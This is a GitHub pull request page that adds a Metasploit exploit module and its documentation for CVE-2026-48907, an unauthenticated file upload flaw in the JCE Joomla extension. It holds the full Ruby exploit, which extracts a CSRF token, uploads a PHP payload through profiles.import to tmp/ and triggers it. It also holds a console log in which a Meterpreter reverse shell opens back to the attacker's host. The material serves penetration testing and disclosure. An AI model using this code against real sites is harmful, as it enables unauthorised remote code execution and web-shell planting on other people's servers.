Skip to content
Open
Show file tree
Hide file tree
Changes from 4 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
## Vulnerable Application

This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE (Joomla Content Editor) extension for
Joomla! (CVE-2026-48907). The `profiles.import` task fails to enforce authentication, allowing the import of a crafted profile that
is directly written to disk as a PHP web shell. This results in remote code execution, provided that the `tmp/` directory is not
explicitly restricted. JCE versions up to and including 2.9.99.4 are affected.

A vulnerable environment requires:

* A working Joomla! installation, available from [downloads.joomla.org/](https://downloads.joomla.org/).
* The JCE extension. An affected build (<= 2.9.99.4) can be obtained from the vendor's
[GitHub repository](https://github.com/widgetfactory/jce)
([direct package link](https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip)).

No authentication is required to trigger the vulnerability; the module only needs
network access to the Joomla! front end.

This module has been tested successfully on JCE 2.9.99.4 running on Joomla! 6.1.1, Apache and PHP 8.4.22.

## Verification Steps

1. Install a vulnerable Joomla! + JCE environment as described above.
2. Start `msfconsole`.
3. Do: `use exploit/multi/http/joomla_com_jce_unauth_file_upload_rce`
4. Do: `set RHOSTS [ip]`
5. If necessary, do: `set TARGETURI [path]`
6. If necessary, set the standard options (`RPORT`, `SSL`, `LHOST`, `LPORT`, etc.) to match your environment.
7. Do: `run`
8. You should get a Meterpreter session.

## Options

### FILENAME

The name to use for the uploaded PHP payload, dropped under `tmp/`. Must end in a PHP-executable extension
(`.php`, `.php2`-`.php7`, `.pht` or `.phtml`); the module enforces this and will abort with `Failure::BadConfig`
otherwise. The default value is a randomly generated alphanumeric filename with a `.php` extension.

## Scenarios

### JCE 2.9.99.4 on Joomla! 6.1.1 (Apache, PHP 8.4.22)

```
msf > use exploit/multi/http/joomla_com_jce_unauth_file_upload_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set RPORT 9999
RPORT => 9999
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set LHOST 172.19.0.1
LHOST => 172.19.0.1
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > check
[+] 127.0.0.1:9999 - The target appears to be vulnerable. JCE version 2.9.99.4 detected.
msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > run
[*] Started reverse TCP handler on 172.19.0.1:4444
[*] Uploading sBKP7OLDD.php
[*] Triggering /tmp/sBKP7OLDD.php
[*] Sending stage (45739 bytes) to 172.19.0.2
[+] Deleted sBKP7OLDD.php
[*] Meterpreter session 1 opened (172.19.0.1:4444 -> 172.19.0.2:37958) at 2026-06-25 22:27:32 +0200

meterpreter > sysinfo
Computer : 78ccc0643bbc
OS : Linux 78ccc0643bbc 7.0.11-200.fc44.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 1 22:50:37 UTC 2026 x86_64
Architecture : x64
System Language : C
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data
```
174 changes: 174 additions & 0 deletions modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,174 @@
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Joomla Content Editor Unauthenticated File Upload RCE',
'Description' => %q{
This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE
(Joomla Content Editor) extension for Joomla! (CVE-2026-48907). The profiles.import task fails to enforce
authentication, allowing the import of a crafted profile that is directly written to disk as a PHP web shell.
This results in remote code execution, provided that the tmp/ directory is not explicitly restricted.

JCE versions up to and including 2.9.99.4 are affected.
},
'License' => MSF_LICENSE,
'Author' => [
'ispyispyispy'
Comment thread
15py15py15py marked this conversation as resolved.
Outdated
],
'References' => [
['CVE', '2026-48907'],
['GHSA', 'c3f5-4g7f-qjqj'],
['URL', 'https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites']
],
'DisclosureDate' => '2026-06-05',
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
['Joomla Content Editor (Joomla!)', {}]
],
'Privileged' => false,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The base path to Joomla!', '/']),
OptString.new('FILENAME',
[false, 'The filename for the uploaded payload (default: random)', nil])
])
Comment thread
15py15py15py marked this conversation as resolved.
Outdated

datastore['FILENAME'] ||= "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}.php"
Comment thread
15py15py15py marked this conversation as resolved.
Outdated
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'components', 'com_jce', 'jce.php')
)

return CheckCode::Unknown('Could not connect to web service.') unless res
return CheckCode::Safe('JCE component does not appear to be installed.') unless res.code != 404
return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}.") unless res.code == 200

# We could also check with .php extension, but i'd rather not trigger anything by an accident.
filename = Rex::Text.rand_text_alphanumeric(rand(8..12)) + ['.jpg', '.png'].sample
Comment thread
15py15py15py marked this conversation as resolved.
Outdated

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'tmp', filename)
)

return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res && res.code != 403

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res && res.code != 403
return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res&.code != 403

@15py15py15py 15py15py15py Jul 1, 2026

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this case is different. Requests to tmp/ can sometimes just be refused or timed out and the shortened version would miss those cases. Maybe we leave it as is?


version = extract_jce_version

return CheckCode::Detected('Exploit conditions are met. Target is likely vulnerable unless patched.') unless version

version = Rex::Version.new(version)
max_version = Rex::Version.new('2.9.99.4')

return CheckCode::Safe("JCE version #{version} detected.") unless version <= max_version

CheckCode::Appears("JCE version #{version} detected.")
end

def exploit
payload_filename = datastore['FILENAME']

unless payload_filename && payload_filename.match?(/\.(php[2-7]?|pht(?:ml)?)$/i)
fail_with(Failure::BadConfig, 'FILENAME must end with valid PHP file extension')
end
Comment thread
15py15py15py marked this conversation as resolved.
Outdated

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php')
Comment thread
15py15py15py marked this conversation as resolved.
Outdated
)

fail_with(Failure::Unreachable, 'Could not connect to web service') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") unless res.code == 200

cookies = res.get_cookies

csrf_token = extract_csrf_token(res.body)
fail_with(Failure::UnexpectedReply, 'Failed to extract CSRF token') unless csrf_token
vprint_status("Extracted CSRF token: #{csrf_token}")

print_status("Uploading #{payload_filename}")
res = upload_profile(payload_filename, payload.encoded, csrf_token, cookies)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Upload failed with HTTP response code: #{res.code}")
end
Comment thread
15py15py15py marked this conversation as resolved.
Outdated

payload_uri = normalize_uri(target_uri.path, 'tmp', payload_filename)
print_status("Triggering #{payload_uri}")

register_files_for_cleanup(payload_filename)

send_request_cgi({ 'method' => 'GET', 'uri' => payload_uri }, 5)

handler
Comment thread
15py15py15py marked this conversation as resolved.
Outdated
end

def extract_jce_version
cache_buster = "?v=#{Time.now.to_i}"
uri_path = normalize_uri(
target_uri.path, 'media', 'com_jce', 'editor', 'extensions',
'popups', 'jcemediabox', 'js', 'jcemediabox.js'
)

res = send_request_cgi('method' => 'GET', 'uri' => "#{uri_path}#{cache_buster}")
Comment thread
15py15py15py marked this conversation as resolved.
Outdated

return unless res && res.code == 200
Comment thread
15py15py15py marked this conversation as resolved.
Outdated

match = res.body.match(/jce\s*-\s*([\d.]+)/)
match[1] if match
end

def extract_csrf_token(body)
match = body.match(/"csrf\.token"\s*:\s*"([a-f0-9]{32})"/)
return match[1] if match

match = body.match(/<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"/i)
match[1] if match
end

def upload_profile(filename, content, csrf_token, cookies = '')
mime = Rex::MIME::Message.new
mime.add_part(content, 'application/xml', 'binary', "form-data; name=\"profile_file\"; filename=\"#{filename}\"")
mime.add_part('profiles.import', nil, nil, 'form-data; name="task"')
mime.add_part('1', nil, nil, "form-data; name=\"#{csrf_token}\"")

data = mime.to_s

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_get' => { 'option' => 'com_jce' },
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => data,
'cookie' => cookies
)
end
end
Loading